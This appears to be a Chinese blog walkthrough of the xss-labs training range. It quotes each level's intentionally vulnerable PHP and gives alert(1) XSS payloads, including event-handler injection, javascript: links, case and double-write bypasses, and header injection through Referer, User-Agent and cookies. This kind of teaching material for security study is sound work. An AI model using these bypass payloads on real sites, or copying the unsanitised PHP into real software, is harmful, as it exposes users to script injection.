xss-labs下载地址https://github.com/do0dl3/xss-labs
进入靶场点击图片,开始我们的XSS之旅!
Less-1
查看源码
代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
我们修改一下输入尝试一下,没什么难点
直接上payload
<script>alert(1)</script>
点击确认进入下一关
Less-2(闭合)
我们使用第一关的测试方法尝试一下,打咩
直接看源码,看到,尝试一下闭合
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
看一下这个函数htmlspecialchars
"'><script>alert(1)<%2Fscript><"'
Less-3(onclick onfocus事件绕过)
输入数据,尝试一下输出位置,发现三个位置有输出
直接上源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这里使用 htmlspecialchars 函数对 $str 进行转义
表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义
我们使用一个onclick事件属性进行一个绕过构造payload
' οnclick='alert(1)
也可以使用onfocus事件进行绕过,构造payload
' οnfοcus='alert(1)
Less-4(onclick onfocus事件绕过闭合)
进入第四关我们依旧尝试之前的语句
' οnclick='alert(1),发现不行
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
改变一下闭合,构造payload
"οnclick="alert(1)
"οnfοcus="alert(1)也行
Less-5(a href 标签绕过)
继续尝试,打咩!
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,这是一种简单的 XSS(跨站脚本攻击)防护手段,用于防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",这是另一种 XSS 防护手段,用于防止某些事件处理程序的注入。
将script和onclick事件全部过滤,我们需要考虑其他的点击事件,且由于有strtolowers(),所有的大写字母都会被转成小写,我们无法使用Onclick进行payload注入,只能新找一个方法进行xss注入,这里我们用a href标签法
构造payload
"><a href=javascript:alert(1)>111</a>
<input name="keyword"><a href=javascript:alert(1)>111</a><"" value="" o_nclick="alert(1)">
Less-6(大小写绕过)
继续使用第五关的payload
发现我们的a href属性被加了一个_
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
$str2 变量通过 str_replace("<script","<scr_ipt",$str); 将字符串中的 <script 替换为 <scr_ipt,防止恶意脚本的注入。
$str3 变量通过 str_replace("on","o_n",$str2); 将字符串中的 "on" 替换为 "o_n",防止事件处理程序的注入。
$str4 变量通过 str_replace("src","sr_c",$str3); 将字符串中的 "src" 替换为 "sr_c",防止图片或脚本源的篡改。
$str5 变量通过 str_replace("data","da_ta",$str4); 将字符串中的 "data" 替换为 "da_ta",防止某些利用数据属性的攻击。
$str6 变量通过 str_replace("href","hr_ef",$str5); 将字符串中的 "href" 替换为 "hr_ef",防止链接注入攻击。
这么多过滤但是定睛一看可以用大小写替换进行绕过
构造payload
"aaa Onclick="alert(1)
Less-7(双写绕过)
查看源码
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串从 $str 中删除
使用"><a href=javascript:alert(1)>111</a>进行测试发现script直接被过滤了
我们尝试双写进行绕过
"aaa oonnclick="alert(1)
"aaa oonnfocus="alert(1)
Less-8(unicode编码绕过)
看源码就对了
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
这些 str_replace() 函数调用将 "script"、"on"、"src"、"data" 和 "href" 字符串替换为它们的变体
测试一下
"><a href=javascript:alert(1)>aaa</a><"
发现a href被添加了下划
javascript:alert(1)
使用Unicode编码在线Unicode编码解码 - 码工具
javascript:alert(1)
Less-9(注释http://绕过)
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
查看源码我们发现if(false===strpos($str7,'http://'))http://被注释掉了我们在之前的语句后加一个http://注释掉//http://
构造payload
javascript:alert(1)//http://
Less-10(隐藏的传参)
继续进行尝试
"><script>alert</script>
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这两行代码对 $str11 变量进行字符串替换操作。首先,它移除了 $str11 中所有的 ">" 字符,然后将结果存储在 $str22 中。接着,它移除了 $str22 中所有的 "<" 字符,并将结果存储在 $str33 中首先,输出一个居中的 <h2> 标题,提示用户没有找到和 $str 相关的结果。这里使用htmlspecialchars() 函数来确保 $str 中的特殊字符被正确转义,接着,输出一个表单,其中包含了三个隐藏的输入字段:t_link、t_history 和 t_sort。前两个字段的值都被设置为空字符串,而第三个字段的值被设置为 $str33(即处理过的 $str11)
修改为text
这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
level10.php?t_sort=" οnfοcus=javascript:alert() type="text"(type谁在前面就用谁)
点击输入框
Less-11(Referer注入)
尝试t_sort=" οnfοcus=javascript:alert() type="text"
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现不一样的是用到了一个html的转义函数
回到第十关点击文本框进入第十一关的时候进行抓包
我们更改一下请求头
'"type='text' οnclick='alert(1)'
Less-12(User Agent注入)
查看源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和上一题差不多抓包构造User Agent的payload
'"type='text' οnclick='alert(1)'
Less-13(cookie注入)
盲猜cookie注入直接抓包
查看源码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
Less-14(这一关有问题直接十五关)
Less15(ng-include文件包涵)
点击跳转有可能路径不对我们注意一下路径
发现只有一个地方有输入
整个nginclude是啥啊,搜一下
他是可以引入某个html页面那我们就把第一关的页面引入尝试一下
我们使用第一关的漏洞出去,尝试发现不行,应该是有过滤把<script>过滤掉了
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签
<img src=1 οnerrοr=alert(1)>'
Less-16(url编码)
测试发现进行了html实体编码
查看源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
我们将空格的编码替换成回车的编码进行尝试UrlEncode - 在线URL网址编码、解码
替换一下
Less-17(embed标签)
我们尝试闭合src增加属性
构造payload
' οnclick=alert()
Less-18(embed标签)
一样的